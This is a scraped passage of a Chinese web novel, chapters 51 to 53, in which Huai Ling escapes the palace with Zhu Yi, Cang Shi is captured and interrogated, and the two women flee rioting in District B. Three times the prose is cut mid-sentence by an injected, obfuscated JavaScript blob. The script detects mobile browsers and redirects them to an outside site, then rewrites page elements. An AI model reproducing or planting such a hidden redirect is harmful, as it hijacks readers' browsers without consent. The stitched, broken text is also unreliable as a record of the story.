祝译灰溜溜地走了,她像个战败的光杆司令,身后一个人都没有,手里拿着落后的武器,看着千军万马站在自己跟前,她迷茫,害怕,最后落荒而逃。 月亮升起,月光洒在道路上。 祝译迫切地需要发泄。 她站在无人的街道,看着被路灯照亮的区域,大声地喊了出来。 “去死吧!所有人都去死吧!” 她的声音传得很远,又迅速地消失在夜晚里。 * “你是说,这个药剂可以让她醒来?”祝译回到了那个咖啡厅。 苍恃点头。 “给我来杯威士忌,加冰。” 苍恃看着她一口气喝下半杯威士忌,不敢出口打断。 “那,你的计划是什么?”祝译直视苍恃,她眼里的光芒正在一点点回来,好像五年前那个自信满满的她。 苍恃简单讲了一遍,祝译越听越觉得头疼。 整个计划都太过冒险,而且这个人竟然想着能够和槐翎和平共处,都不知道是过于天真还是对槐翎滤镜太大。 祝译抬头把酒杯里的威士忌一饮而尽,杯子被她用力地放在桌面上,发出清脆的声音。 “我加入。”她露出了由衷的笑容。 ——“所以,这就是你要说的来龙去脉?”槐翎站起来,活动了僵硬的身体,她毫不留情地瞪了一眼坐在旁边穿着侍女制服的祝译。 祝译坐在窗台上,手里是刚用完的药剂,她撑着脸看向槐翎,对槐翎的白眼毫无在意。 “要我说出这些事情还是挺难为情的,你听了难道就没有一点触动吗?” “没有,这都是你自找的。”槐翎迅速做完一套拉伸,也不管旁边的祝译还在看,她直接脱下身上的睡裙,从旁边昏睡的卫兵身上扒下来一套制服。 换上制服后,她把头发盘起来塞在帽子里,倒真有几分士兵的模样。 祝译被她这一套行云流水的动作惊到了,不过,毕竟是槐翎,做什么事都有可能。 “下次试试把咖啡倒他们头上。” “哪里还有什么下次。”祝译苦笑,她早就猜到自己的未来了,等一会把槐翎送出去,她就得准备去监狱孤独终老了。 “如果你想就会有。”槐翎把钻石项圈放在房间的正中央,又用口红在卡片上留了一行字,卡片塞在项圈中间,祝译只看了一眼就觉得心惊肉跳。 槐翎又低头从卫兵身上拿了两把武器,她把其中一把丢给祝译,祝译手忙脚乱地接过,武器的重量让她清醒了不少。 “不走吗?”槐翎回头看向祝译,祝译双手拿着那沉甸甸的武器,这可是比咖啡还要重的东西,祝译吞了吞唾沫,抬头盯着槐翎,她能听见自己的声音变得兴奋又轻飘飘的。 “那现在我们算是共犯了吗?” 槐翎咧开嘴笑了,“当然。” 51. 第 51 章 杜山看着坐在自己面前的苍恃,他能敏锐地感觉到苍恃浑身上下散发出的紧张。 自从那日后,苍恃就休假了一段时间,再次见面已是半个月之后了,杜山觉得苍恃也变得有些陌生了起来。 更别说,如今两个人坐在这里喝咖啡的举动,就已经足够反常了。 杜山的联络器响了一下,他抬头看见苍恃露出了了然的微笑后,心里马上就明白发生了什么。 “她取下了项圈,是你帮忙的吧。”杜山把藏在桌下的武器拿出,直接对准了苍恃的头部。 苍恃没有慌张,也没有惊讶,他只坐在原位,等待杜山扣下扳机。 “她是自由的。”苍恃说。 “她或许是,你不是。”杜山用无神的眼睛盯着他,而后用手指在联络器上按下按钮,苍恃记得那是通报紧急情况才会按下的。 杜山这个判断真是又快又准确,只要按下按钮,宫殿内所有的卫兵都会把出入口封锁进行盘查,就连一只苍蝇也不给飞走。 “你走了一步错棋,只要你听话,想要什么都可以。”杜山摇头,眼里的惋惜一闪而过,“我真是不理解。” 从外面走进来两个卫兵,他们走到苍恃身边,枪口都对准了他。 “抱歉了,上校。”卫兵把手铐戴好,把苍恃押了出去。 他走出办公室,大批量的卫兵正在四处巡逻,他们所有的保险都解开,子弹也上膛,就等待着发射的那一刻。 * “他应该在这里等着的。”祝译在空荡荡的商务车里找了一圈,愣是没找到约好要一起走的苍恃。 “他不会来了。”槐翎看向阴沉沉的天空,在不远处卫兵正在集结,她能听见卫兵的脚步声,那么的沉重,又是那么的杀气腾腾。 在槐翎的带领下,她们两个走了一条谁也发现不了的捷径,这是只有对宫殿十分熟悉的人才能知道的小径,通过这条小径可以缩短一半的路程,并且安全性高,祝译原本还担心被人发现要怎么糊弄过去,没想到槐翎直接就解决了。 她们到达了约好的集合点,却只看到了装了食物和一系列户外生存用品的商务车,车内一个人都没有。 槐翎的这句话也是提醒了祝译,或许从一开始,苍恃就没想到要一起走。 但是苍恃和槐翎不一样,槐翎不管怎么样都不会死,而苍恃对于皇帝来说,只是一个可有可无的工具,随手便能抛弃。 “上车。”槐翎启动了车辆,她是一刻都不想停留在这里,然而祝译还站在外面等着,看她那副忧心忡忡的模样,槐翎只好再次催促。 “不再等等吗?要是他已经在过来了呢?”祝译站在车旁不愿上车,她看着远方,希望会有一个身影出现在前方。 “上车。”槐翎的语气冷了下来,她知道宫殿内部正在发生什么,如果再不走的话恐怕所有出入口都会被封锁,这样就没有意义了。 祝译咬唇看着槐翎,知道她这已经是在下命令,踌躇了片刻后,她还是上车了。 “把衣服换了,还有人见过你出现在这里吗?”槐翎把一套衣服扔过去,是很平常的女性衣服,平常得毫不起眼。 祝译钻到后面把侍女制服换下,她思考了一会说:“没有,我用的别人的身份识别进来的,身份卡也是伪造的。” 刚才用完的药剂也被她带在身上,没留下什么痕迹。 “把东西都藏好,你躲后面去。” 祝译不知道槐翎想做什么,但还是乖乖照做了,毕竟这些事情还是槐翎更熟练。 她把东西盖在自己身上,伪装成没有人坐在后面的假象,因为紧张,她把武器死死抓在手里,手心的汗液让她差点抓不住。 车辆的速度提得很快,祝译能感觉到车子压过平坦宽敞的道路,现在她们还在宫殿内部,从后面的货运通道的话应该没什么卫兵。 槐翎刚刚从迷幻中醒来,脑子不算太清醒,手脚也是发软的,才夺回的身体还有些陌生,醒来便听到祝译叽叽喳喳说了一大堆,她其实一点也不在意,但既然有人愿意牺牲自己来换她自由,槐翎自然是没有拒绝的道理。 她把油门踩到底,车辆几乎是以最高的速度开着的,不过她还是晚了一步,卫兵已经设下关卡把所有的门都挡住,他们看到了深夜里的商务车,谨慎地要求她停下。 槐翎心下只觉不妙,如果在这里产生冲突只会惹来更多卫兵,根据她对紧急状态的了解,卫兵会被要求每隔十分钟内回复一次呼叫,一旦有人未按时回应,宫殿就会派出卫兵队去核实情况,这样也很容易追踪到槐翎是从哪个门跑出去的。 A区不大,只要大概找到路线方向就能追踪。 槐翎压低了帽檐,镇定地把车靠边停下。 “身份卡拿出来。”卫兵说。 在场共有六个卫兵,一个在岗亭内保持联系,两个在大门两侧控制,一个在车旁检查,一个在与槐翎搭话,另外一个在塔上观察。 没有强行突破的可能性。槐翎迅速下了判断,只要她随便一动,这些人就能在一分钟内把她打成一堆碎肉。 “身份卡。”卫兵再次强调。 槐翎的异样让几名卫兵警戒起来,他们把枪口抬高,眼睛死死盯着槐翎。 她叹了口气,就算不想强行突破,以现在的状况来看恐怕她没有选择,槐翎露出个笑容对着负责检查的卫兵,“我这就拿给你。” 她低头往口袋里摸,在摸到武器把手的那一刻,她感觉到一道视线似乎落在了身上。 枪口正在塔上对准了她,只要槐翎有不该有的举动,就能一子弹把她送走。 槐翎暗暗骂了一声。躲在后面的祝译虽然听不清外面的声音,但长久的沉默让她敏锐地察觉到现在的状况有多糟糕,她浑身出了冷汗,因为过于紧张,全身都在轻微地发抖。 “磨磨蹭蹭的做什么?”卫兵用枪托砸了一下车窗,车窗发出了“砰砰”的声音,槐翎感觉自己的心跳声越来越大,都快要盖住外面的声音。 “怎么不走了?”一道慵懒带了几分随意的声音劈开了这令人窒息的紧张气氛,槐翎和卫兵一同回头,只见后面不知道什么时候来了一辆车,车上的身影虽然看不清,但仅凭轮廓,槐翎就能认出车主是谁。 没想到这个时候,出手相助的人竟是槐雾。 “殿下,这辆车的人员身份可疑,我们正在调查。”卫兵毕恭毕敬地回话,但也只是引走了其中一名卫兵,那个站在塔上瞄准的卫兵没有半分松懈。 “可疑个屁,这是我家的商务车!我就说怎么等了半天呢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13598847|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们认不出吗?” “呃,殿下,我们在名册内没找到这辆车的登记信息……” “没登记信息他是怎么进来的?” 卫兵满头大汗,他确实不知道这个车是怎么进来的,但是系统上也确实没有这辆车的信息,他把求助的目光投向另一个卫兵。 被求助的卫兵显然职别要高一些,他朝槐雾敬礼,恭恭敬敬地主动解释。 “因为杜少将的命令,所有的车辆都必须要经过核实身份和内容检查后才能离开,而且我们只是想看身份卡而已,没有阻挠的意思。” “这个宫殿现在是杜山说了算了?杜山要想查,叫人先从他老家查起,把门打开,我们都要走了。”槐雾气得要跳起来,因为情绪激动,脸都变得通红。 “殿下,我们也是按照规章制度办事……” “这天下都是我们家的,制度也是我们家制定的,我建议你识趣一点,今天的宴会可耽误不得。”槐雾露出了一个微笑,语气里满是威胁。 几名卫兵面面相觑,他们也不知道该怎么做好,但迫于压力,他们最终决定把门打开。 槐翎通过后视镜看了一眼槐雾,如果没有槐雾的帮助,恐怕这里少不了一场腥风血雨。 车辆重新启动,槐雾开着的车在后面跟着,他开车的速度不快,与商务车保持着一定距离,通过了第一道关卡之后就会顺利多了,更何况有了槐雾做担保,事情也变得简单起来。 祝译感觉到车辆再次动了起来,她不知道外面发生了什么,但能动起来就算是个好的信号,她长长地呼出一口气,不知不觉中她头发都湿透了,黏糊糊地贴在身上。 槐翎还没有放松下来的打算,听祝译的说法,苍恃是有准备安全屋的,但是如果他被抓起来了的话,恐怕对方只会千方百计从他嘴里挖出点什么,以槐翎对他的了解,他应该不会说,但难保会不会用上些特殊的手段,让他知无不言。 像C区和D区就是很好的例子,人口密度大,卫兵的爪子也伸不到那么远。 彻底离开了宫殿后,槐雾在后面打了双闪,槐翎也就把速度降了下来,槐雾没有停下来,而是保持两辆车持平的状态,他打开窗户,风呼呼地灌了进来。 “堂妹,我这次只能帮你到这里了。”他这话说得严肃,没有了往日的吊儿郎当。 槐翎看着自己五年未见的堂哥,只觉得他苍老得厉害,眼下的泪沟和法令纹也格外明显,和后面那个不得志的祝译竟然有几分神似。 “谢了,堂哥。”她由衷地道谢。 “那个捷径,是只有我们才知道的秘密,看来你也没有忘记。”槐雾苦笑,二人都明白,槐雾刚才的举动足够让槐迩震怒,等皇帝发现了,就算是皇帝的亲儿子也不能免责,说不定这辈子都和权力没关系了。 “那是一段美好的回忆。”槐翎没有忘记曾经和槐雾相处过的童年,那个时候她还未被仇恨所扭曲,槐雾也没有变成那副自暴自弃的样子,一切都是幸福的。 “我先走了,以后的路你要小心…可以的话就不要再回来了。” 槐雾挥了挥手,在前方的交叉路他驶入了另一个方向,槐翎看着那红色的尾灯越来越远,渐渐敛起了笑容。 “不,我一定会回来的。”她眼神冰冷。 52. 第 52 章 杜山领着一小队来到槐翎的房间,门外是两个躺着的卫兵,房间里躺着几个被迷晕的侍女,他们看上去都没有外伤,里面也没有打斗的痕迹,只有一扇打开了的窗户正在往里面灌着风,窗帘随着风摇曳。 “去找留下的痕迹。”杜山冷脸吩咐。 他还没来得及去审问苍恃,但他知道苍恃什么都不会说的,只能从客观条件上入手,这样就能知道有没有同党了。 槐翎能这样悄无声息地离开,他杜山得背一半的责任。 至于另一半,那就得交给苍恃了,毕竟在那项圈上的记录里,可是完完整整写了苍恃的操作记录,还有操作的时间。 现在已经过去半个小时,要是槐翎机灵点,恐怕已经在前往其他区的路上了。 当初杜山就说过这个解除权限只给他和皇帝两个人就够了,皇帝就是不听……现在可好了,苍恃这家伙的心本来就不是向着皇帝这边的。 杜山有些烦躁地四处观察房间,在卧室里的那钻石项圈倒是显得格外夺目。 他第一眼是被钻石的光芒吸引了目光,第二眼则是注意到了用口红写的字。 杜山瞳孔一缩,第一反应是把卡片收起来。 那是皇帝最在意的话语,同时也是皇帝最害怕的话语。 他戴上手套,小心翼翼地把卡片夹在指尖,反复看了几遍上面的字。 “槐迩,偷来的皇位坐得舒服吗?” 杜山的手指微微颤抖,他把卡片装在袋子里,然后放进外套的内侧口袋,这张卡除了知情人谁都不能看到。 他装作若无其事地退出卧室,自己则是来到房间外的走廊点燃了一根香烟。 他深深吸了一口烟,烟雾环绕在他身边,不多时联络器里传来了最新消息,就在刚才,槐雾掩护了一辆商务车离开,两个人的表现都很奇怪,可以确定槐雾就是同伙之一。 杜山思考了片刻,把这件事报给了槐迩。 烟灰掉在他的手上,他恍若未闻,就着最后一点烟丝吸了最后一口,这让他的脑子清醒了些。 * 在得到槐翎的许可后,祝译才从后排坐起,她闷了一脸汗,用力抹了一把后才来到槐翎的旁边。 “这个是安全屋的地址。”她把地址说出来,槐翎看了一下,在B区和C区各有一个安全屋,而且都是普通的住宅,被调查的概率很低。 “这个地址只有你们两个知道吗?”槐翎反问。 “据我了解是的,这两套房子也不是在他名下,应该不用担心会被追查到。” 槐翎思考了一会,以护卫队的训练方式才做反侦察行动的话,确实拥有一定的可行性。 “明白了。”她马上记住了地址,这两个区的道路状况比较复杂,得好好规划路线才行。 “我们……”祝译迟疑地看了一眼槐翎,“要不要联系一下他?” “祝译。”槐翎都要气笑了,“你这样跟自己送上门找死没什么两样。” 祝译挠了挠头,她也只是关心苍恃的安危,槐翎这样一句话关心也没有,让苍恃知道了也会失落吧。 “你坐后面去,把这个帽子带上。” 祝译不敢乱说话,只听从了槐翎的吩咐,把鸭舌帽往头上压了压。 车辆行驶在离开宫殿的高速路上,槐翎看了眼时间,一切都还来得及。 她走了一条车流量比较大的道路,A区的夜晚更热闹些,从其他区运送过来的员工都会在此时统一送回各个区,这是为了确保他们不会逗留在A区,也好一种很好清理A区的手段,在A区没有不该逗留的人。 槐翎的黑色商务车在各种大巴之间穿梭,她夹在大巴之间,尽量减少自身的存在感。A区的摄像头多,能够轻易追踪车辆的动向,宫殿内的卫兵也不是吃干饭的,他们恐怕也意识到不对劲了,再晚一点就会拦截这辆车。 在前面检查A区外人员的关卡里,所有的大巴车都一一停了下来,从上面走下来乌泱泱一堆人,他们排着队接受检查,之后就可以上通往各个区的列车了。 祝译不明白槐翎为什么要跟着这个车队行动,她脸瞬间变白了,这跟自首有什么不同? 没想到槐翎却把车停了下来,然后转头看着祝译。 “你下车,带上你自己的身份卡。” “等等…”祝译没反应过来,“你要做什么?” “你不用跟我走,在这里下车就可以混进去,你可以坐列车回去,这样没有人知道你和我是一起出来的,你是B区过来的人,去B区探望朋友很合理。”槐翎耐着性子跟她解释,祝译听得一愣一愣的,生锈的大脑也在此时重新运作起来。 “你要抛下我?”她瞪大了眼睛。 “你只会拖我后腿。”槐翎这话说得毫不留情,“你甚至连枪都不敢开。” 祝译脸上一阵不自然,槐翎这话说得没错,但是这说得也太难听了。 “我已经下定决心了。”她摇头拒绝了槐翎的要求。 “你母亲还在研究所,你是不顾她的安危了?”槐翎又问。 祝译想到自己的母亲,心里狠狠刺痛了一下,可是她已经答应了苍恃,如果就这么离开,那不就是背信弃义吗? “你辛辛苦苦得到的工作,就要这么放弃吗?” 槐翎每个字都说到了祝译的心里,她咬着唇,眼眶却渐渐红了。 “你说过我们是共犯的。” “对,现在不是了,我要把你踢出局。”槐翎没再给祝译解释的机会,她把车门打开,一阵风灌了进来,祝译红着眼睛看向她。 “你真的很无情,槐翎,你对谁都是这样的无情,你心里真的不在意其他人的感受吗?” “我无情?”槐翎冷笑,“我要是无情,早就一炸弹放宫殿把全部人都炸死了,我还费什么劲在这里哄你这大小姐!” “滚下车,我不需要你在我身边。”槐翎再次指了车外,现在都快没人在车上了,再逗留下去对大家都没有好处。 祝译吸了吸鼻子,眼眶里溢满了泪水。 “我不下。”她重申了一遍。 槐翎都要被祝译气死了,她自己清楚和祝译没什么交情,之前几次见面也都是不愉快的体验,这个人过去了五年怎么还是这副滥好人的样子,倒搞得好像是槐翎欠了她什么似的! “不管你说多少次,我都不走。”祝译把泪水忍了回去,她咬紧了牙关,说话时还带着哭腔,但是眼神又是那样的坚毅,让人想起了第一次在游轮上见到的祝译。 槐翎揉了揉眉心,她也是在思考,带上祝译的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13612224|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好处和坏处,不带上祝译的好处和坏处,不管她怎么演算,不带上祝译都是导向更好的选项。 但是祝译不走她又有什么办法,要是这个死心眼回去脑子一热什么话都说得出来,又或者她非要去找小久,那岂不是功亏一篑了! 祝译见槐翎正在思考,就知道自己说的话产生了效果,她擦去眼眶里的泪珠,努力稳住自己的声音,可怜巴巴地看着槐翎说:“我不会拖后腿的。” 槐翎现在是知道为什么小久能和祝译玩一块了,这两人根本就是同类人!槐翎暗骂一句,只好把车门关上。 但是为了警告祝译,她还是重新强调了一遍。 “在这个期间,你要保持和其他人的联系,不要有什么异样,对外就说你去B区玩了,不要说具体哪里,所有的行动都必须要听我指挥。” “明白了。”祝译点头。 槐翎看她这副模样也说不出别的话了,她叹了口气,重新启动车辆,总而言之先离开A区。 * 苍恃被关押在纯黑的房间里,他知道这是队内惯用的逼供手法,先饿上一段时间,只用水吊着命,再用这完全黑暗和寂静的房间让人心理崩溃,之后再问话就简单多了。 他靠着柔软的墙壁坐下,根据时间推算,槐翎应该离开A区了,从A区的关卡去安全屋有半个小时的车程,他反复演练过几个路线,基本上都能避开摄像头。在安全屋里还有别的车辆,都是登记在别人名下的,油也加满了,足够她用一段时间。 食物也是够用的,如果她想躲起来,就算大吃大喝也能躲个两个月。 如果不是皇帝的注意力都被C区和D区的暴动转移了,他这准备还做不得那么周全,杜山也是被暴动分散了注意力,不然以杜山的敏锐,他应该也能发现些端倪。 他闭上眼睛,心里一片平和。 幸好,他足够了解槐翎,而槐翎也足够了解他,并未等他的到来就直接离开了,不然这件事还没那么顺利。 苍恃的身体放松了不少,可惜,他没能在槐翎醒来之前看她一眼。 这真是太遗憾了,等拷问过后,皇帝就会判处他死刑,然后他的人生就这么结束了。 就在他闭着眼睛胡思乱想的时候,门被打开了一条小缝,光从小缝泄了进来,苍恃眯着眼去看开门的人,看到的还是杜山那张冷漠的脸。 “你的同伙已经抓到了,他交代了不少事情。” 同伙?苍恃愣了一下,然后他马上想到了祝译那张脸,祝译难道没跟槐翎一起走吗?不然怎么会被抓到? 杜山清楚地看见苍恃的脸色在这瞬间变得难看,知道自己赌对了,对苍恃拷问没什么用,得用他身边的人做软肋才有效。 “不可能。”苍恃摇头,不过他没再说下去,他知道祝译是怎样的人,她是绝对不会出卖自己的,不过杜山或许真的用了些什么手段,像祝译这样的一般人,恐怕难以招架,在严刑之下祝译不得不说出点什么也是有可能的。 但是他十分肯定,祝译只会和槐翎一起行动,他们不可能只抓到了祝译一个人,所以苍恃迅速反应过来,这是杜山在诈他。 杜山仔细地观察苍恃的脸,试图读出点什么信息,但很遗憾,苍恃只有了那一瞬间的动摇,难以分辨是因为什么。 53. 第 53 章 等到达安全屋的时候,天已经有些亮了。 槐翎没有选择既定的路线,而是把车放在停车场,利用建筑物的掩护辗转进入了几个室内场所,这也是防止被跟踪的手段之一。 祝译体力不好,但因为说过自己不会拖后腿,硬是咬着牙撑下来了。 相比之下槐翎倒是像在度假一般自在,连汗都没出几滴。 安全屋是一间三居室的民居,布置得不算温馨但基本家具也配齐了,槐翎先让祝译去洗个澡休息,自己倒是对门窗和外面的布局和安全性做了个调查,确保万无一失。 幸好,一切都符合槐翎的标准。 槐翎也得以坐下来休息片刻,她拿起一罐饮料就往嘴里灌,这一次的出逃和上次不同,恐怕这是她最后的机会了。 从槐迩为她带上那项圈就知道,还留着她的性命也不过是恶趣味罢了。 槐迩是真的动了杀心的,如果这次再被抓,槐翎也难逃一死。 祝译神清气爽地擦着头发出来了,看见一脸凝重的槐翎,她也知道这一程恐怕危机四伏。 “你也去洗澡吧。”祝译说。 等到槐翎去浴室后,祝译进房间看了一下,床品都是新的,因为洗过还有股淡淡的香味,她实在很难想象现在的苍恃还会做这种事情,她躺了下来,瞬间就被柔软的床铺包围,刚刚还清醒的身体马上就来了困意。 另一边的槐翎则是把门窗关得严严实实不留下任何缝隙才去睡觉,她的精神一直紧绷,也确实是需要睡眠了。 她钻进被窝里,竟不出两分钟就睡着了。 两个人就这么昏天暗地地睡了一个白天,等醒来时太阳都将要落下,夕阳照在祝译的脸上,她才满足地睁开眼睛。 祝译走出来看了下大厅,见槐翎房间门还是关闭的,就知道她定是在休息,就自作主张地去厨房准备两个人的晚饭,现在的祝译肚子饿得咕咕叫,连走路都是无力的。 等她炒完两道菜出来,槐翎也准时地出现在餐桌旁等着。 祝译突然想起来,槐翎莫不是故意的吧? 祝译自认为自己的厨艺还过得去,但在槐翎拿起筷子的那一刻,她竟然也有了些紧张,槐翎会不会觉得难吃?她会不会骂自己一顿? 怀着这样的疑问,祝译死死盯着槐翎的筷子,看着她夹起一块肉往嘴巴里送去,然后细细地咀嚼起来。 “吃你的饭去。”槐翎白了她一眼。 祝译呵呵笑了起来,见槐翎没有表达任何评论,她有些高兴又有些失落,要是好吃的话,她应该是要说好吃的才对。 “这栋楼居住的人不算多,但是我看过这一层也有一两户人家,为了融入社群,我们对外就称姐妹。”槐翎说。 “我比你大两个月,所以我是姐姐,这样吗?”祝译反问回去。 槐翎拿着筷子的手一顿,她看了眼祝译,两个人长得一点都不相像,还不知道能不能混过去。 “你爱当什么就当什么。”槐翎没心思管这些小事。 “好的妹妹,吃完饭后,可以麻烦妹妹洗碗吗?”祝译笑眯眯地说道。 槐翎捏紧了筷子,对上祝译这一副奸计得逞的模样,只好忍了这个亏,心里是越发后悔带上祝译了。 吃完饭后槐翎窝在厨房里洗碗,祝译则是收拾外面的桌子,没过多久门口传来了门铃声,祝译立马警觉地看向槐翎。 槐翎也听见了,她把武器别在腰后,还戴着手套的手湿漉漉地打开了门,她只开了一条门缝,露出了半张脸,另一只手护着祝译。 祝译紧张兮兮地躲在她身后,虽然好奇但也不敢伸头出去看。 敲门的是一个老太,她佝偻着背,身上的衣物质感良好,看样子在B区不算特别富有,属于是B区的底层,但也有着和一般人不同的气质。 她眼睛弯弯的,在槐翎露出的脸上打量。 “你好,你们是刚搬过来的吧?” 槐翎没从她的语气里听出什么恶意,但是她也没有回复的意思,在这种人口比较多的居民楼里,是很难保守秘密的。 槐翎的沉默让老太脸上多了几分不解,她干瘪的嘴唇动了一下,似是不明白这有什么不能说的。 “上次不是来了个小伙子嘛?他不是跟你们一起的?” 躲在后面的祝译瞬间反应过来,她不顾槐翎的眼神警告把门打开了些,然后露出了甜美无害的笑容。 “对啊,那是我妹夫,您见过他了?” 槐翎瞪大了眼睛,这是又加的什么设定? 见祝译的性格比较讨喜些,老太马上就换上了笑容,“原来是你妹夫啊,我还说呢……他上次帮我把猫找回来了,我还没来得及感谢他,他就说有工作先走了,真是的,我还说请他到家里喝茶呢。” 老太开始絮絮叨叨说个没完,不过槐翎也知道了她确实没什么威胁,把放在武器上的手收了回来,她冷漠地站在一旁,观察祝译和老太的对话。 “这位是你妹妹?”老太又看了一眼槐翎,她眯着眼睛,好像看不太清楚。 “对,这是我妹妹。”祝译嘻嘻哈哈地把槐翎拉过来,槐翎不情不愿地露出了个微笑。 “我没戴眼镜看不清,不过只看一眼就知道是漂亮的人啊,和你妹夫倒是挺配的……”老太捂着嘴呵呵笑了起来。 “你妹夫什么时候过来?到时候一起来我家喝下午茶吧。” “他最近……”祝译看了眼槐翎,看着槐翎一脸不满马上又想到了新的故事,“他们两个人吵架了,所以近期应该不过来了。” “他性格那么温和怎么还会吵架呢?”老太又看了眼槐翎,槐翎莫名其妙地感受到了老太的眼刀。 “我这妹妹脾气比较大,您也不用想太多了,这都是他们年轻人之间的情-趣……”祝译拉着老太转移了话题,过了好几分钟后才打发走了她。 等门一关上,槐翎就迫不及待教训起了祝译。 “你跟她说那么多干嘛?直接打发了就行了。” “可是一直空置的房子突然来了人居住也很奇怪吧,住的人还和之前来过的人不一样,不沾亲带故怎么让他们相信呢。”祝译摊手,见话已经说出去,也没有收回去的道理,槐翎只好忍了。 槐翎把碗洗干净后祝译也没闲着,切了盘水果放在茶几上,两个坐在沙发的两头安静地看起电视来,电视里放着的节目也就那样,两个人都没什么心思去看。 突然房间里传来了手机震动的声音,祝译这才慌慌张张地跑进去拿手机,她昨天开始就把手机关掉了,今天回来充上电才想起来这回事,要是一天不回消息怎么看都很可疑。 她看到纪栖发来的消息,发了好多好多,看着屏幕脸上不自觉地露出笑容。 槐翎打量着她的表情,心里马上就明白过来,这是恋爱了。 “你男朋友是哪里的?”槐翎直接问了,她叉起一瓣橘子咬了一半,酸酸甜甜的汁水在口腔里炸开,甜滋滋的。 “B区的,等等,他要打电话过来。”祝译脸上多了几分慌乱,她把求助的目光投向槐翎。 “就说你在B区和朋友玩就行了,别让他过来。”槐翎皱了眉头,她们藏在这里的事情可不能让外人知道。 “嗯……”祝译按下接听,在听到对方声音时,她还是不由自主地露出了笑容,槐翎没兴趣听情侣之间打电话,她把电视开着,自己则是回房间休息去了。 目前A区表面还未有消息放出,要是按照槐翎的推断,应该今天凌晨就会把各区之间的通行都关闭了,但是槐迩并没有这样做,他到底在思考什么? 槐翎拨开一点窗帘,外面的街道静悄悄的,只有偶尔几部车开过,她打从心底地觉得不对劲,如果说这个地方被发现了的话,应该会有卫兵过来才是,还是他们正在调查? B区太空旷了,得赶紧去C区才是。 房门被叩响,打断了槐翎的思考,她开门只见祝译拿着手机站在那里,她张大了嘴巴,眼睛也睁得老大,因为紧张满脸通红。 “B区也暴动了,就在这片区域。” 槐翎只觉不好,和其他区不同,B区都是商人,如果他们都要暴动,恐怕槐迩会震怒,到时候他会下什么的命令都有可能。 “我们得走了,现在马上!”槐翎立马拿起随身用品和车钥匙,祝译还穿了身睡衣,但是都知道来不及换了,她抓起外套套上运动鞋就往楼下跑去。 隔壁的老太不知道发生了什么,她探头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624207|138747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了眼外面,念叨了几句年轻人就是有活力,然后就回去了。 祝译大脑一片空白,她看见前面的槐翎跑得飞快,因为赶时间连电梯都没搭上,手里的包只装了些证件,跑起来的时候甩在她的背后,让她背部一阵痛楚。 就算隔着好些距离,祝译还是听见了外面传来的喧嚣,透过逃生通道的窗户能看见外面黑压压的一片人潮,他们手拿着标语,嘴里高呼释放殷肆,他们的声音实在太大,震得祝译耳朵嗡嗡作响。 “连B区都要暴动,这是你的错误啊,槐迩。”槐翎用车钥匙定位到了准备好的车辆,那是一辆普通的黑色家用车,祝译跑得气喘吁吁的,等上了车之后她用力地呼吸着,差点就要窒息而亡。 槐翎看了眼后排和车尾箱,和商务车一样配置有食物和些许生活用品,她也放下心来,迅速地把车辆开往出口。 不过在她之前已经有几辆车堵在出口,他们都按着喇叭,要求保安赶紧开门,但是保安只露出一脸难色地指了指外面。 人潮从四面八方涌来,数量不可计算,他们堵塞了路面,而这个人流似乎没有尽头,他们会经过这栋大楼,却不知道要什么时候才能交出道路。 与此同时,天空中传来了直升机的声音,旋翼击破了空气,白色的探照灯也在人群中不断扫射,不少人都被照得眼睛疼痛,发出了不同程度的哀嚎,这一举动极大地惹怒了暴动的群体,他们开始对周边进行破坏,此时街道里已是一片混乱。 在另一头,配有武装的卫兵也在短时间内集结完毕,他们拿着盾牌挡在暴动人群的前方,时不时有人向他们投掷砖头,而他们也不甘示弱,往人群中投掷□□和闪光弹。 在旁边的居民楼里,已有卫兵分散成小队进行检查,他们这是要找出谁去参加了暴动,看样子是要等着事后进行清算了。 槐翎在二楼看了一圈,开车出去已经不可能,走出去有一定的风险,留在里面也等同于自首。 倒不如出去混在人群里,到时候再偷一辆车离开B区。 祝译也认为这样更好,她从车上拿出帽衫和口罩,两个人把自己包得严严实实的,又带了些水和饱腹的食物,这才从后门绕了出去。 后门也挤满了人,祝译只能抓着槐翎的衣袖才能跟上她,槐翎穿梭在人群中,短短几米的路却让她走得无比艰难,夏天夜晚虽有一丝风,但也不足以驱散聚集起来的人群的热量,不过多久她们就挤出了一身汗,更别说在高度的精神紧张影响下,她们还得注意避开天上直升机的探照灯。 等她们好不容易穿越了一个路口时,就连槐翎也气喘吁吁了,她不敢取下口罩,只能用袖子拭去流下来的汗珠。 祝译脸色苍白,她的眼睛里流进了汗液,刺得连眼睛都睁不开,她靠着墙壁大口地呼吸起来。 